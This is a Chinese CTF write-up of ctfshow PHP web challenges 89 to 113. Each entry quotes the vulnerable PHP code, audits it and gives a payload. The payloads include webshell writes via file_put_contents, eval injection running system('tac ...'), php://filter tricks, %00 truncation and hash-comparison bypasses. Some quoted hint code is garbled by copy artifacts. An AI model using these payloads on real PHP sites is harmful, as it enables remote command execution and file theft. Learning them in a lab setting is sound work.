web89
- 此题为 【从0开始学web】系列第八十九题
- 此系列题目从最基础开始,题目遵循循序渐进的原则
- 希望对学习CTF WEB的同学有所帮助。
开始php特性系列了,师傅们,冲冲冲!
<?php
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
$num = $_GET['num'];
if(preg_match("/[0-9]/", $num)){
die("no no no!");
}
if(intval($num)){
echo $flag;
}
}
先看一下用到的函数:
intval
:intval() 函数通过使用指定的进制 base 转换(默认是十进制),返回变量 var 的 integer 数值。 intval() 不能用于 object,否则会产生 E_NOTICE 错误并返回 1。
preg_match
:preg_match 函数用于执行一个正则表达式匹配,返回的匹配次数,不匹配为0,匹配成功1次即为1,然后停止搜索,该函数只会匹配一行,可以%0a换行绕过
preg_match_all
会一直搜索直到到达结尾。
本题可以采用数组绕过以及字符串绕过。。。
payload:/?num[]=
得到flag。
Hint
通过数组绕过
web90
<?php
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
$num = $_GET['num'];
if($num==="4476"){
die("no no no!");
}
if(intval($num,0)===4476){
echo $flag;
}else{
echo intval($num,0);
}
}
intval 语法
int intval ( mixed $var [, int $base = 10 ] )
参数说明:
- $var:要转换成 integer 的数量值。
- $base:转化所使用的进制。
如果 base 是 0,通过检测 var 的格式来决定使用的进制:
- 如果字符串包括了
0x
(或0X
) 的前缀,使用 16 进制 (hex);否则, - 如果字符串以
0
开始,使用 8 进制(octal);否则, - 将使用 10 进制 (decimal)。
相关实例:
<?php
echo intval(42); // 42
echo intval(4.2); // 4
echo intval('42'); // 42
echo intval('+42'); // 42
echo intval('-42'); // -42
echo intval(042); // 34
echo intval('042'); // 42
echo intval(1e10); // 1410065408
echo intval('1e10'); // 1
echo intval(0x1A); // 26
echo intval(42000000); // 42000000
echo intval(420000000000000000000); // 0
echo intval('420000000000000000000'); // 2147483647
echo intval(42, 8); // 42
echo intval('42', 8); // 34
echo intval(array()); // 0
echo intval(array('foo', 'bar')); // 1
?>
要求输入一个字符串,且经过十进制转换还等于 4476,联想到进制转换以及弱类型比较,产生了两种 payload:
payload1:/?num=4476aaa
payload2:/?num=0x117c
Hint
因为我们提交的参数值默认就是字符串类型 所以我们可以直接输入 ?num=4476%23
web91
<?php
show_source(__FILE__);
include('flag.php');
$a=$_GET['cmd'];
if(preg_match('/^php$/im', $a)){
if(preg_match('/^php$/i', $a)){
echo 'hacker';
}
else{
echo $flag;
}
}
else{
echo 'nonononono';
}
Notice: Undefined index: cmd in /var/www/html/index.php on line 15
nonononono
题目里的第一个正则匹配是表示匹配以php开头或结尾
及大小写检验
加上多行检验
,第二个匹配没有进行多行匹配,于是可以利用换行进行绕过:
payload:/?cmd=%0aphp
Hint
考查:正则表达式是匹配方法 https://blog.csdn.net/qq_46091464/article/details/108278486
可以通过 %0a
绕过 payload: abc%0aphp
web92
<?php
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
$num = $_GET['num'];
if($num==4476){
die("no no no!");
}
if(intval($num,0)==4476){
echo $flag;
}else{
echo intval($num,0);
}
}
isset() 函数用于检测变量是否已设置并且非 NULL。
如果已经使用
unset()
释放了一个变量之后,再通过isset()
判断将返回 FALSE。若使用
isset()
测试一个被设置成 NULL 的变量,将返回FALSE
。同时要注意的是 null 字符
\0
并不等同于 PHP 的 NULL 常量。
他这次和以前不一样的地方是if($num==4476)
匹配的是字符串,不能再一概而论,故弱类型不行了,试试其他方式,发现进制转化依然可以绕过:
payload:/?num=0x117c
# 同理/?num=010574也可以
按照Hint
里提到的使用e进行截断也是种方法,倒是忽略掉了。。。
hint_payload:/?num=4476e123
Hint
intval()函数如果$base为0则$var中存在字母的话遇到字母就停止读取 但是e这个字母比较特殊,可以在PHP中不是科学计数法。所以为了绕过前面的==4476我们就可以构造 4476e123 其实不需要是e其他的字母也可以
扩展:根据intval特性在sql注入中猜测后台写法
new.php?id=13
与new.php?id=13'
页面一样
如果用news.php?id[]=13
出现和news.php?id=1
出现一样的结果则是下面这种写法:
$id=intval($_GET['id']);
因为 intval 在 处理对象时,会自动返回 1。
上面这种情况单引号的逃逸可能性就会比较低,可以寻找下一个注入点了。。。。
web93
<?php
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
$num = $_GET['num'];
if($num==4476){
die("no no no!");
}
if(preg_match("/[a-z]/i", $num)){
die("no no no!");
}
if(intval($num,0)==4476){
echo $flag;
}else{
echo intval($num,0);
}
}
过滤掉了字母直接使用八进制就行了。。。
payload:/?num=010574
hint
过滤了字母但是我们可以使用其他进制就是计算 0b?? : 二进制0??? : 八进制 0X?? : 16进制 payload : ?num=010574
web94
<?php
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
$num = $_GET['num'];
if($num==="4476"){
die("no no no!");
}
if(preg_match("/[a-z]/i", $num)){
die("no no no!");
}
if(!strpos($num, "0")){
die("no no no!");
}
if(intval($num,0)===4476){
echo $flag;
}
}
可以查看一下相关函数:
strpos() 函数查找字符串在另一字符串中第一次出现的位置。
注释:strpos() 函数对大小写敏感。
注释:该函数是二进制安全的。
相关函数:
- stripos() - 查找字符串在另一字符串中第一次出现的位置(不区分大小写)
- strripos() - 查找字符串在另一字符串中最后一次出现的位置(不区分大小写)
- strrpos() - 查找字符串在另一字符串中最后一次出现的位置(区分大小写)
代码审计一下逻辑:
- 如果输入强相等于字符串
4476
,则阻断 - 传入参数含有字母则阻断
- 传入参数必须含有 0,否则阻断
- intval后仍然等于 4476 则给 flag
构造 payload:
/?num=4476.0
Hint
在93的基础上过滤了开头为0的数字 这样的话就不能使用进制转换来进行操作 我们可以使用小数点来进行操作。这样通过intval()函数就可以变为int类型的4476 ?num=4476.0
web95
<?php
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
$num = $_GET['num'];
if($num==4476){
die("no no no!");
}
if(preg_match("/[a-z]|\./i", $num)){
die("no no no!!");
}
if(!strpos($num, "0")){
die("no no no!!!");
}
if(intval($num,0)===4476){
echo $flag;
}
}
代码审计:
- 传入参数若等于4476则阻断
- 传入参数不能含有大小写字母及
.
- 必须含有0,否则阻断
- intval处理后强等于4476
猜测使用进制转换可以绕过,可以使用010574
但是为了越过弱等,必须在前面加上字符,这个可以自己进行尝试
/?num=+010574
因为加法在url里和空格差不多,因此将加法编码也是可以的:
/?num=%2B010574
Hint
可以通过8进制绕过但是前面必须多加一个字节 ?num=+010574或者?num=%2b010574
web96
<?php
highlight_file(__FILE__);
if(isset($_GET['u'])){
if($_GET['u']=='flag.php'){
die("no no no");
}else{
highlight_file($_GET['u']);
}
}
可以看到是一个文件名的弱类型比较:
方法一:当前目录
payload:/?u=./flag.php
方法二:绝对路径
payload:/?u=/var/www/html/flag.php
方法三:路径混淆
payload:/?u=a/b/c/d/../../../../e/f/g/../../../flag.php
中间的目录不存在,但是并不能阻止我们使用!!!
Hint
在linux下面表示当前目录是 ./ 所以我们的payload: u=./flag.php
web97
<?php
include("flag.php");
highlight_file(__FILE__);
if (isset($_POST['a']) and isset($_POST['b'])) {
if ($_POST['a'] != $_POST['b'])
if (md5($_POST['a']) === md5($_POST['b']))
echo $flag;
else
print 'Wrong.';
}
?>
代码审计一下:
需要传入a和b俩参数,要求md5相同,但是参数又不相同。
MD5是一种散列函数,是哈希算法的一种,可以将任意长度的输入,通过散列算法变换成128位的散列值
方法一:数组绕过
a[]=1&b[]=2
会发现有:
Warning: md5() expects parameter 1 to be string, array given in /var/www/html/index.php on line 17
Warning: md5() expects parameter 1 to be string, array given in /var/www/html/index.php on line 17
这是因为传入的是数组,md5不能加密数组,传入数组会报错,但会继续执行并且返回结果为 null。
方法二:MD5碰撞(未成功)
先建立一个.txt
文件,随便写一个内容,丢到fastcoll
里去,生成俩文件:
这两个文件内容不同,但是md5值是相同的。
然后使用脚本生成碰撞的字符串:
<?php
function readmyfile($path){
$fh = fopen($path, "rb");
$data = fread($fh, filesize($path));
fclose($fh);
return $data;
}
$a = urlencode(readmyfile("E:/TOOLS/fuck_msg1.txt"));
$b = urlencode(readmyfile("E:/TOOLS/fuck_msg2.txt"));
if(md5((string)urldecode($a))===md5((string)urldecode($b))){
echo $a;
}
if(urldecode($a)!=urldecode($b)){
echo $b;
}
a = fuck%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%3Fkt%7E%FCi%8By%A4%B2%1C%D2e%C9%C2%F4%F5%3BHE7v%1D%02%05%16%82%9E%94%3E%0D%EA%D3%22%B4%E5%00%AC-%3A%EF%07%C72%EF%AF%CC%06%1F%90%BA%19%FBG%CF%40H%B4%CA%C8%A0%AC%04%12%8B%FB%E7%E1%D4Y+a%F6%10%5D0A%EF%F3%0EB%5E%5EM%1F%C6%0E%A5%CBZ%EE%CC%EC%86%E2q%60L%26%DA%04%D0%E7%7D%C8sM7%C6%84s0%03%8B%0E%92%10%9A+%AE%1A%5C%5B%27%861%2C%A1
&
b=
fuck%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%3Fkt%7E%FCi%8By%A4%B2%1C%D2e%C9%C2%F4%F5%3BH%C57v%1D%02%05%16%82%9E%94%3E%0D%EA%D3%22%B4%E5%00%AC-%3A%EF%07%C72%EF%2F%CD%06%1F%90%BA%19%FBG%CF%40H%B4%CAH%A0%AC%04%12%8B%FB%E7%E1%D4Y+a%F6%10%5D0A%EF%F3%0EB%5E%5E%CD%1F%C6%0E%A5%CBZ%EE%CC%EC%86%E2q%60L%26%DA%04%D0%E7%7D%C8sM7%C6%04s0%03%8B%0E%92%10%9A+%AE%1A%5C%5B%A7%861%2C%A1
然后传参,不知道这题为啥不行。。。可能是有啥忽略了,啥时候想起来再补充吧。。。
Hint
通过数组绕过 a[]=1&b[]=2
web98
Notice: Undefined index: flag in /var/www/html/index.php on line 15
Notice: Undefined index: flag in /var/www/html/index.php on line 16
Notice: Undefined index: HTTP_FLAG in /var/www/html/index.php on line 17
<?php
include("flag.php");
$_GET?$_GET=&$_POST:'flag';
$_GET['flag']=='flag'?$_GET=&$_COOKIE:'flag';
$_GET['flag']=='flag'?$_GET=&$_SERVER:'flag';
highlight_file($_GET['HTTP_FLAG']=='flag'?$flag:__FILE__);
?>
代码审计一下:
本体用了很多三元运算符以及传址操作:
$__GET
存在则$GET=$POST
,否则为flag
$_GET['flag']=='flag'
则$_GET=$_COOKIE
,否则为flag
$_GET['flag']=='flag'
则$_GET=$_SERVER
,否则为flag
$_GET['HTTP_FLAG']=='flag'
则高亮文件,输出flag
构造payload:
解法一:构造_GET、_COOKIE、_POST
得到flag!
解法二:构造_GET、_POST
也能得到flag!!!!
Hint
https://www.php.cn/php-notebook-172859.html https://www.php.cn/php-weizijiaocheng-383293.html
考点是PHP里面的三元运算符和传址(引用) 传址(引用)有点像c语言里面的地址 我们可以修改一下代码
<?php
include('flag.php');
if($_GET){
$_GET=&$_POST;//只要有输入的get参数就将get方法改变为post方法(修改了get方法的地址)
}else{
"flag";
} i
f($_GET['flag']=='flag'){
$_GET=&$_COOKIE;
}else{
'flag';
1 2 3 4 5 6 7 8 9
10
11
所以我们只需要 GET一个?HTTP_FLAG=flag 加 POST一个HTTP_FLAG=flag 中间的代码没有作用,因为我们不提交 flag 参数
web99
<?php
highlight_file(__FILE__);
$allow = array();
for ($i=36; $i < 0x36d; $i++) {
array_push($allow, rand(1,$i));
}
if(isset($_GET['n']) && in_array($_GET['n'], $allow)){
file_put_contents($_GET['n'], $_POST['content']);
}
?>
代码审计一下:
- 从
1~36
开始到1~0x36d
分别从里面取出一个数字放入数组 - 检测GET参数,并看一下是不是在数组内,有的话将GET参数设置成文件名,POST参数设置成内容
查一下基础函数:
可以知道在877里取了841个数字,虽然里面可能会有重复的,但是可以知道在0~841里肯定有参数在数组内,于是乎。。。。
访问1.php
访问flag即可:
1=system("tac flag36d.php");
$flag="ctfshow{e3d839ed-895a-454a-ae81-1b56f71c0eb6}"; */ # @link: https://ctfer.com # @email: h1xa@ctfer.com # @Last Modified time: 2020-09-16 11:25:00 # @Last Modified by: h1xa # @Date: 2020-09-16 11:24:37 # @Author: h1xa # -*- coding: utf-8 -*- /*
得到flag!!!!!
Hint
<?php
highlight_file(__FILE__);
$allow = array();//设置为数组
for ($i=36; $i < 0x36d; $i++) {
array_push($allow, rand(1,$i));//向数组里面插入随机数
} i
f(isset($_GET['n']) && in_array($_GET['n'], $allow)){
//in_array()函数有漏洞 没有设置第三个参数 就可以形成自动转换eg:n=1.php自动转换为1
file_put_contents($_GET['n'], $_POST['content']);
//写入1.php文件 内容是<?php system($_POST[1]);?>
} ?
>
payload: get : ?n=1.php post:content=
web100
<?php
highlight_file(__FILE__);
include("ctfshow.php");
//flag in class ctfshow;
$ctfshow = new ctfshow();
$v1=$_GET['v1'];
$v2=$_GET['v2'];
$v3=$_GET['v3'];
$v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3);
if($v0){
if(!preg_match("/\;/", $v2)){
if(preg_match("/\;/", $v3)){
eval("$v2('ctfshow')$v3");
}
}
}
?>
Notice: Undefined index: v1 in /var/www/html/index.php on line 17
Notice: Undefined index: v2 in /var/www/html/index.php on line 18
Notice: Undefined index: v3 in /var/www/html/index.php on line 19
代码审计一下:
需要传入三个参数:
- v1 参数为一执行下述逻辑
- v2 参数为命令
- v3 参数为;
查看一下相关函数:
is_numeric
(PHP 4, PHP 5, PHP 7, PHP 8)
is_numeric — 检测变量是否为数字或数字字符串
说明
is_numeric(mixed
$value
): bool检测指定的变量是否为数字或数字字符串。
参数
value
需要检测的变量。
返回值
如果
value
是数字或数字字符串, 返回true
,否则返回false
。
构造payload:
/?v1=1&v2=var_dump&v3=;
# string(7) "ctfshow"
/?v1=1&v2=phpinfo()&v3=;
这个flag一看就不太对劲。。。。
得到flag!!!!
提交。。。。。失败。。
观察flag,发现有0x2d
,16进制解码就是-
将flag转化一下提交。。。成功!!!!
大师傅步骤
和上面的步骤基本上是一致的,但是大师傅构造了个%23
(url编码以后的#
)用来将字符串注释掉。
Hint
这道题基本上没有对参数进行过滤,所以直接执行命令
?v1=21&v2=var_dump($ctfshow)/*&v3=*/;
web101
<?php
highlight_file(__FILE__);
include("ctfshow.php");
//flag in class ctfshow;
$ctfshow = new ctfshow();
$v1=$_GET['v1'];
$v2=$_GET['v2'];
$v3=$_GET['v3'];
$v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3);
if($v0){
if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\\$|\%|\^|\*|\)|\-|\_|\+|\=|\{|\[|\"|\'|\,|\.|\;|\?|[0-9]/", $v2)){
if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\\$|\%|\^|\*|\(|\-|\_|\+|\=|\{|\[|\"|\'|\,|\.|\?|[0-9]/", $v3)){
eval("$v2('ctfshow')$v3");
}
}
}
?>
Notice: Undefined index: v1 in /var/www/html/index.php on line 17
Notice: Undefined index: v2 in /var/www/html/index.php on line 18
Notice: Undefined index: v3 in /var/www/html/index.php on line 19
代码审计一下:
flag
在ctfshow
类中。。。
- 对
vo
判断,为一则往下执行- 对
v2
,v3
进行过滤- 执行
eval
根据大师傅解法,需要先了解一下new Reflectionclass
ReflectionClass
:一个反射类,功能十分强大,内置了各种获取类信息的方法,创建方式为new ReflectionClass
(str 类名),可以用echo new ReflectionClass('className')
打印类的信息。
构造payload:
/?v1=888&v2=echo new ReflectionClass&v3=;
得到flag
以后将flag
内的0x2d
换成-,发现少了一位,提交不正确,看到Hint
说需要爆破,尝试,最终获得flag,提交正确!!!
对了,记得加上ctfshow{}
的外壳
Hint
Hint1
?v1=1&v2=echo new Reflectionclass&v3=;
Hint2
替换0x2d为-,最后一位需要爆破16次,题目给的flag少一位
web102
<?php
highlight_file(__FILE__);
$v1 = $_POST['v1'];
$v2 = $_GET['v2'];
$v3 = $_GET['v3'];
$v4 = is_numeric($v2) and is_numeric($v3);
if($v4){
$s = substr($v2,2);
$str = call_user_func($v1,$s);
echo $str;
file_put_contents($v3,$str);
}
else{
die('hacker');
}
?>
Notice: Undefined index: v1 in /var/www/html/index.php on line 14
Notice: Undefined index: v2 in /var/www/html/index.php on line 15
Notice: Undefined index: v3 in /var/www/html/index.php on line 16
hacker
先看一下相关函数:
call_user_func
(PHP 4, PHP 5, PHP 7, PHP 8)
call_user_func — 把第一个参数作为回调函数调用
说明
call_user_func(callable
$callback
, mixed...$args
): mixed第一个参数
callback
是被调用的回调函数,其余参数是回调函数的参数。参数
callback
将被调用的回调函数(callable)。
args
0个或以上的参数,被传入回调函数。注意:请注意,传入call_user_func()的参数不能为引用传递。
首先先构造查看一下php版本:
php版本在5.x
以上,无法通过0x字符串进行绕过。。。。
大师傅构造了一个科学计数法绕过:(前面的11随便换成啥两位数字都行,因为会被截断掉)
115044383959474e6864434171594473
--->PD89YGNhdCAqYDs
进行base64
解码就能看到它的庐山真面目了:
<?=`cat *`;
构造payload:
/?v2=115044383959474e6864434171594473&v3=php://filter/write=convert.base64-decode/resource=1.php
v1=hex2bin
有回显说明写入成功了,访问1.php查看源代码即可获得flag!!!
Hint
GET
v2=115044383959474e6864434171594473&v3=php://filter/write=convert.base64-decode/resource=2.php
POST
v1=hex2bin
#访问1.php后查看源代码获得flag
web103
<?php
highlight_file(__FILE__);
$v1 = $_POST['v1'];
$v2 = $_GET['v2'];
$v3 = $_GET['v3'];
$v4 = is_numeric($v2) and is_numeric($v3);
if($v4){
$s = substr($v2,2);
$str = call_user_func($v1,$s);
echo $str;
if(!preg_match("/.*p.*h.*p.*/i",$str)){
file_put_contents($v3,$str);
}
else{
die('Sorry');
}
}
else{
die('hacker');
}
?>
Notice: Undefined index: v1 in /var/www/html/index.php on line 14
Notice: Undefined index: v2 in /var/www/html/index.php on line 15
Notice: Undefined index: v3 in /var/www/html/index.php on line 16
hacker
和上一题一样的payload:
Hint
GET
v2=115044383959474e6864434171594473&v3=php://filter/write=convert.base64-
decode/resource=2.php
POST
v1=hex2bin
#访问1.php后查看源代码获得flag
web104
<?php
highlight_file(__FILE__);
include("flag.php");
if(isset($_POST['v1']) && isset($_GET['v2'])){
$v1 = $_POST['v1'];
$v2 = $_GET['v2'];
if(sha1($v1)==sha1($v2)){
echo $flag;
}
}
本题没有要求判断两个变量是否相同,直接给俩一样的参数就行了。
POST:v1=1
GET:v2=1
当然也可以使用数组绕过,都会返回false,
POST:v1[]=1
GET:v2[]=1
Hint
里的意思应该是想实现0e绕过
,0e开头的字符串在参与比较时,会被当做科学计数法,俩都会转化成0。
Hint
#payload
aaK1STfY
0e76658526655756207688271159624026011393
aaO8zKZF
0e89257456677279068558073954252716165668
web105
<?php
highlight_file(__FILE__);
include('flag.php');
error_reporting(0);
$error='你还想要flag嘛?';
$suces='既然你想要那给你吧!';
foreach($_GET as $key => $value){
if($key==='error'){
die("what are you doing?!");
}
$$key=$$value;
}foreach($_POST as $key => $value){
if($value==='flag'){
die("what are you doing?!");
}
$$key=$$value;
}
if(!($_POST['flag']==$flag)){
die($error);
}
echo "your are good".$flag."\n";
die($suces);
?>
你还想要flag嘛?
代码审计:
- 对GET进行判断覆盖
- 对POST进行判断覆盖
- 判断打印flag
构造payload:
POST:/?suces=flag
GET:error=suces
Hint
考察:php的变量覆盖 payload: GET: ?suces=flag POST: error=suces
web106
<?php
highlight_file(__FILE__);
include("flag.php");
if(isset($_POST['v1']) && isset($_GET['v2'])){
$v1 = $_POST['v1'];
$v2 = $_GET['v2'];
if(sha1($v1)==sha1($v2) && $v1!=$v2){
echo $flag;
}
}
?>
数组绕过即可:
web107
<?php
highlight_file(__FILE__);
error_reporting(0);
include("flag.php");
if(isset($_POST['v1'])){
$v1 = $_POST['v1'];
$v3 = $_GET['v3'];
parse_str($v1,$v2);
if($v2['flag']==md5($v3)){
echo $flag;
}
}
?>
查一下相关函数:
parse_str
(PHP 4, PHP 5, PHP 7, PHP 8)
parse_str — 将字符串解析成多个变量
说明
parse_str(string
$string
, array&$result
): void如果
string
是 URL 传递入的查询字符串(query string),则将它解析为变量并设置到当前作用域(如果提供了result
则会设置到该数组里 )。参数
string
输入的字符串。
result
如果设置了第二个变量
result
, 变量将会以数组元素的形式存入到这个数组,作为替代。警告极度不建议在没有result
参数的情况下使用此函数, 并且在 PHP 7.2 中将废弃不设置参数的行为。PHP 8.0.0 起,result
参数是强制的。
主要是构造v2
与v3的md5
相同相同则打印flag。
构造payload:
Hint
GET: ?v3=240610708 POST: v1=flag=0
web108
<?php
highlight_file(__FILE__);
error_reporting(0);
include("flag.php");
if (ereg ("^[a-zA-Z]+$", $_GET['c'])===FALSE) {
die('error');
}
//只有36d的人才能看到flag
if(intval(strrev($_GET['c']))==0x36d){
echo $flag;
}
?>
error
查一下相关函数:
ereg()
函数用指定的模式搜索一个字符串中指定的字符串,如果匹配成功返回true
,否则,则返回false
。搜索字母的字符是大小写敏感的。可选的输入参数规则包含一个数组的所有匹配表达式,他们被正则表达式的括号分组。
ereg
函数存在NULL截断漏洞,导致了正则过滤被绕过,所以可以使用%00
截断正则匹配
ereg()
只能处理字符串的,遇到数组做参数返回NULL
strrev
是逆字符串
利用%00
截断构造payload:
a%00778
得到flag,当然,利用intval转化的特点还可以衍生出很多大同小异的解法。。。
Hint
ereg()函数用指定的模式搜索一个字符串中指定的字符串,如果匹配成功返回true,否则,则返回false。搜索字 母的字符是大小写敏感的。 ereg函数存在NULL截断漏洞,导致了正则过滤被绕过,所以可以使用%00截断正则匹配
?c=a%00778
web109
<?php
highlight_file(__FILE__);
error_reporting(0);
if(isset($_GET['v1']) && isset($_GET['v2'])){
$v1 = $_GET['v1'];
$v2 = $_GET['v2'];
if(preg_match('/[a-zA-Z]+/', $v1) && preg_match('/[a-zA-Z]+/', $v2)){
eval("echo new $v1($v2());");
}
}
?>
方法一:反射类
和上面有一道题一样使用反射类即可:
/?v1=ReflectionClass&v2=system('ls')
/?v1=ReflectionClass&v2=system('tac fl36dg.txt')
方法二:扩展类
使用扩展类执行分批次输入命令和参数从而执行
/?v1=exception&v2=system('tac fl36dg.txt'));//
注意要注释掉后面的,再闭合前面的。
Hint
Exception 异常处理类 http://c.biancheng.net/view/6253.html
payload: ?v1=Exception&v2=system('cat fl36dg.txt')
?v1=Reflectionclass&v2=system('cat fl36dg.txt')
web110
<?php
highlight_file(__FILE__);
error_reporting(0);
if(isset($_GET['v1']) && isset($_GET['v2'])){
$v1 = $_GET['v1'];
$v2 = $_GET['v2'];
if(preg_match('/\~|\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]/', $v1)){
die("error v1");
}
if(preg_match('/\~|\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]/', $v2)){
die("error v2");
}
eval("echo new $v1($v2());");
}
?>
随便看一下感觉基本上除了字母都被过滤了。。。。
先用上面的扩展函数看一下phpinfo
/?v1=exception&v2=phpinfo
大师傅指点使用类FilesystemIteartor
和getcwd()
方法,大师傅牛逼!!!!!!
/?v1=filesystemiteartor&v2=getcwd
==> fl36dga.txt
访问文件即可。。。。
学习到的:
FileSystemIterator遍历文件类
DirectoryIterator遍历目录类
Hint
考察:php内置类 利用 FilesystemIterator 获取指定目录下的所有文件 http://phpff.com/filesystemiterator https://www.php.net/manual/zh/class.filesystemiterator.php getcwd()函数 获取当前工作目录 返回当前工作目录 payload: ?v1=FilesystemIterator&v2=getcwd
web111
<?php
highlight_file(__FILE__);
error_reporting(0);
include("flag.php");
function getFlag(&$v1,&$v2){
eval("$$v1 = &$$v2;");
var_dump($$v1);
}
if(isset($_GET['v1']) && isset($_GET['v2'])){
$v1 = $_GET['v1'];
$v2 = $_GET['v2'];
if(preg_match('/\~| |\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]|\<|\>/', $v1)){
die("error v1");
}
if(preg_match('/\~| |\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]|\<|\>/', $v2)){
die("error v2");
}
if(preg_match('/ctfshow/', $v1)){
getFlag($v1,$v2);
}
}
?>
内部需要使用外部变量,利用全局变量进行赋值:
/?v1=ctfshow&v2=GLOBALS
Hint
考察:全局变量 为了满足条件,我们可以利用全局变量来进行赋值给ctfshow这个变量 payload: ?v1=ctfshow&v2=GLOBALS
web112
<?php
highlight_file(__FILE__);
error_reporting(0);
function filter($file){
if(preg_match('/\.\.\/|http|https|data|input|rot13|base64|string/i',$file)){
die("hacker!");
}else{
return $file;
}
}
$file=$_GET['file'];
if(! is_file($file)){
highlight_file(filter($file));
}else{
echo "hacker!";
}
is_file
is_file
函数可以使用包装器伪协议进行绕过
构造payload:
/?file=php://filter/resource=flag.php
Hint
php://filter/resource=flag.php
php://filter/convert.iconv.UCS-2LE.UCS-2BE/resource=flag.php
php://filter/read=convert.quoted-printable-encode/resource=flag.php
compress.zlib://flag.php
web113
<?php
highlight_file(__FILE__);
error_reporting(0);
function filter($file){
if(preg_match('/filter|\.\.\/|http|https|data|data|rot13|base64|string/i',$file)){
die('hacker!');
}else{
return $file;
}
}
$file=$_GET['file'];
if(! is_file($file)){
highlight_file(filter($file));
}else{
echo "hacker!";
}
查看一下文档,看一下可以过is_file
的伪协议:
- file:// — 访问本地文件系统
- http:// — 访问 HTTP(s) 网址
- ftp:// — 访问 FTP(s) URLs
- php:// — 访问各个输入/输出流(I/O streams)
- zlib:// — 压缩流
- data:// — 数据(RFC 2397)
- glob:// — 查找匹配的文件路径模式
- phar:// — PHP 归档
- ssh2:// — 安全外壳协议 2
- rar:// — RAR
- ogg:// — 音频流
- expect:// — 处理交互式的流
大师傅使用的是zlib里的官方样例进行绕过的,我们以后也要经常翻官方文档不能一味依靠大师傅。。。
/?file=compress.zlib://flag.php
Hint:目录溢出
/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/p
roc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/pro
c/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/
self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/se
lf/root/proc/self/root/var/www/html/flag.php